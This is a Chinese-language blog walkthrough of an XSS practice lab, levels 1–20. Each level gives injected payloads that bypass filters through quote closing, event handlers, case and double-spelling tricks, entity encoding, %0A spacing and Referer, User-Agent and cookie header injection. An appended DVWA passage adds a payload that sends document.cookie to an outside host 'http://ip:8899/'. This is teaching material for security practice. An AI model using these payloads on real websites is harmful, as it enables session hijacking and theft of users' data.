XSS靶场——通关笔记

第一关

页面很简单,可以发现通过修改url中level1.php?name后面的字段,页面会改变,显示该字段的总长

再查看源代码,根据源代码可知当有个弹窗就会执行函数,最后得到我们想要的“完成的不错”

<script>alert(111)</script>

第二关

第二关似乎和第一关一样,不确定,试试

同样的代码在第二关并不适用,查看源代码

在input标签中是没有任何过滤的,为了让弹窗出现可以闭合掉<script>alert(111)</script>前面的语句,完整的代码是:

<input name=keyword  value=""><script>alert(111)</script>//">

即在查询框中输入:

"><script>alert(111)</script>//

第三关

还是先输入<script>alert(1111)</script>进行尝试

没有什么效果,继续查看网络源代码

发现两处都将<,>转义了。猜测服务器端在这两处都用htmlspecialchars()函数进行了处理,浏览器中有一些事件可以执行js代码,这里可以使用onfocus事件,观察源代码为单引号闭合,把value闭合掉构造playload

onfocus事件绕过:当输入字段获得焦点时执行Javascript,在提交后,没有立刻弹出这里还需要点一下文本框让事件触发

onfocus常用于<input>,<select>,<a>标签中

//完整代码
<input name=keyword  value='' οnfοcus=javascript:alert() '>
​
 //输入的代码
' οnfοcus=javascript:alert() '
    

总结:onfocus可以绕过html实体化(即<>号的过滤)

第四关

在文本框中输入" , ' , < , > ,666,接着查看源代码

要避免使用<,>,所以本关仍采用事件触发的方式

//完整代码
<input name=keyword  value="" οnfοcus=javascript:alert() ">
//输入的代码                                      " οnfοcus=javascript:alert() "

第五关

先尝试:" ' < > 666,查看源代码

再尝试一下:<script>alert(111)</script> ,依旧不行,再次查看源代码

可以发现<script>标签被换成了<scr_ipt>导致代码无法执行,那么尝试一下前面两关的通关思路:闭合+事件驱动

" οnfοcus=javascript:alert() "

可以发现onfocus被替换成o_nfocus,可以推测,搜索框中的 payload 可能是匹配到关键字进行的替代。这样带on的事件就不能用了,可以再尝试一下大小写绕过,结果失败了,大写全部变成小写,这里应该还应用了转小写的函数

此处既然无法通过 <script> 标签和事件来执行js代码的话,那么可以换一个标签来执行js代码,使用新标签要先闭合<input>标签。

<input name=keyword  value=""><a href=javascript:alert(1)>xss</a>"> 
​
"><a href=javascript:alert(1)>xss</a>

点击一下侧面的链接就ok了

第六关

先输入" ' < > 发现没有对这些特殊符号进行过滤

尝试<script>," οnfοcus=javascript:alert() "发现和第五关结果一样,都被替换了,导致代码无法运行

再尝试一下第五关的代码,发现href变成了hr_ef

直接查看XSS下level6.php文件,可以发现script,on,src,data,href都被替换成其他格式,代码中似乎也没有大小写转换的函数

尝试一下大小写绕过,可以发现大小写没有被过滤掉,所以就可以通过大小写的方式构造playload

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"

第七关

先尝试 " ,' , < ,>,发现没有被过滤

再尝试<script>alert(111)</script>,发现script被完全过滤掉了,换成大小写的形式也被完全替换掉

尝试闭合方式+事件驱动:" οnfοcus=javascript:alert() "

结果on被完全替换掉,换成大小写的形式而不行

尝试">xss

结果href被完全替换掉,换成大小写的形式也不行

大小写绕过不行就双拼写方式

"> <scrscriptipt>alert()</scrscriptipt> <"
" oonnfocus=javascript:alert() "
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

第八关

尝试 " , ' ,< ,>, 发现 " ,<,>都转换成了html实体代码

尝试前面几关的做题思路统统不行,再查看一下XSS下level8的源代码,果然很多字符都要被过滤替换了

但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()
//进行编码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

本关小结:href属性自动解析Unicode编码

第九关

按照前面几关的尝试都失败了,直接查看源代码

php函数介绍—strpos(): 查找字符串中特定字符的位置

实例:

payload:
&#32;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

第十关

和前面几关不一样,可以发现页面已经没有任何文本框了,直接查看源代码,在<input>标签里他的type是隐藏的,但是还是get请求,所以直接在url输入即可

127.0.0.1/xss/level10.php?keyword=t_link=2&t_history=3&t_sort=4

查看源代码发现只有t_sort接收到了参数,所以可以从t_sort下手,同时想要使用这个标签就需要注意type是hidden类型,可以把他改为其他类型button或者type

还是先输入 " ,' ,< ,>,可以发现< , > 被过滤掉,还是采用闭合方式+事件驱动

http://127.0.0.1/xss/level10.php?t_link=&t_history=&t_sort=" οnfοcus=javascript:alert() " type=""

第十一关

和第十关一样,页面没有出现任何文本框,直接查看源代码

还是先测试哪一个文本框可以接收到参数,最后发现只有t_sort可以接收到传递的参数

127.0.0.1/xss/level11.php?keyword=t_link=1&t_history=2&t_sort=3&t_ref=4

测试特殊字符: " ' < >,可以发现 " ,< , > 都被过滤掉了

直接查看一下源代码

$str11=$_SERVER['HTTP_REFERER']; 获取当前页面的来源URL,并将其存储在变量$str11中。
$str22=str_replace(">","",$str11);将str11中">"字符替换为空字符串,并将结果存储在变量str22中。
$str33=str_replace("<","",$str22); 将str22中的"<"字符替换为空字符串,并将结果存储在变量str33中
t_sort:值为URL中的"t_sort"参数值。
t_ref:值为经过处理的来源URL(已删除尖括号)。

经过分析可知本题的关键点其实就是referer请求头(Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的)

我们尝试在referer处传参,发现果然可以

尝试在referer处闭合+事件驱动

" οnclick="alert(1)" type=""

第十二关

先查看源代码,和上一关的不同之处是t_ua处已经有了参数,虽然第四个<input>的t_ua已经有了参数,但是仍然尝试给这四个隐藏的文本框传参,结果发现t_sort成功接收到传的参,但是t_ua还是原来的参数,没有接收到刚才传的参

查看XSS下的level12的源代码,可以发现这里其实和第十一关很像

$str11=$_SERVER['HTTP_USER_AGENT'];
agent
// 获取用户代理字符串

那么按照上一关的思路,还在agent处进行传参操作就可以了

" οnclick= " alert(1) " type=""

第十三关

直接查看XSS下的level 13的源代码,和前两关一样都是在http请求头上做文章,本关是在cookie上

但是有一个关键点是cookie这还有一个参数user

无法直接和前面一样直接构造:" οnclick= " alert(1) " type=""

这里用抓包更清晰一点:

user= " οnclick="alert(1)" type=""

第十四关

空的,直接到第十五关

第十五关

查看源代码

<span>标签:对文本中的一部分进行着色
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
    值得注意的是:
如果单纯指定地址,必须要加引号
加载外部html,script标签中的内容不执行
加载外部html中含有style标签样式可以识别
可以包含同一域名的 html 文件,那也就是说可以包含之前做过的有xss漏洞的文件,但是不能执行script中的代码.

源码中可以发现是通过src传参,还对 < > 进行了过滤,既然类似于包含,那我们就包含一个level1.php,构造payload:

'level1.php?name=<a href="javascript:alert(1)">'

第十六关

先查看源代码没有发现什么特别之处

先尝试最简单的构造<script>alert(111)</script>,可以发现script被完全过滤掉

为了快速找到都有什么字符被过滤掉,直接查看XSS下的源代码,可以发现script,空格,/都被过滤掉了

既然不能有空格,空格最常见的绕过方法就是用回车,回车的url编码是%0A

<img%0Asrc=1%0Aοnerrοr=alert(1)>
//串代码意思就是如果在加载src给的图片时发生错误则执行 js。

第十七关

查看源代码

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是embed标签打开不了文件的时候就会有块错误的区域。也可以绑定各种事件,比如尝试绑定一个onmouseover事件。后台看代码用了htmlspecialchars,所以直接写标签是不行的。embed标签基本不怎么用了,所以这一关就简单了解一下即可。

通过代码发现,本关卡有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码

http://127.0.0.1/xss/level17.php?arg01=a&arg02=%27%20οnmοuseοver=alert(%22aini%22)

第十八关

查看源代码可以发现和第十七关一样,构造的playload也一样,但是火狐不支持,换了一个浏览器才可以

' οnmοuseοver=alert("aini")

第十九关

要用到flash反编译,这方面的知识还是空白。有兴趣的同学可以看一下别的大佬的writeup:http://t.csdnimg.cn/pqodWicon-default.png?t=N7T8http://t.csdnimg.cn/pqodW

第二十关

要用到flash反编译,这方面的知识还是空白。有兴趣的同学可以看一下别的大佬的writeup:http://t.csdnimg.cn/6rarWicon-default.png?t=N7T8http://t.csdnimg.cn/6rarW

DVWA(Damn Vulnerable Web Application)是一个用于测试和练习Web应用程序安全漏洞的靶场XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过注入恶意脚本代码,使得网站在用户端执行这些脚本,从而获取用户敏感信息或进行其他攻击行为。 为了在DVWA靶场中完成XSS通关,你可以尝试以下步骤: 1. 注入脚本:在输入框或者参数中注入恶意脚本代码,比如上面提到的payload,如<img src=x οnerrοr=document.write('<img src="http://ip:8899/' document.cookie '"/>')>。 2. 触发脚本执行:提交注入的脚本,使得网站后端将其返回到前端,并在用户端执行。 3. 获取结果:当脚本执行时,它会将用户的Cookie数据发送到指定的服务器上(http://ip:8899/)。 请注意,这是一种漏洞攻击示例,请在授权范围内使用,并遵循道德规范。在实际应用中,网站开发人员应该采取相应的安全措施来防止XSS攻击,例如输入验证、输出编码等。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA通关--反射型XSSXSS (Reflected))](https://blog.csdn.net/elephantxiang/article/details/111146085)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [DVWA靶场xss通关笔记,详解带截图](https://blog.csdn.net/AboutLzs/article/details/123631604)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值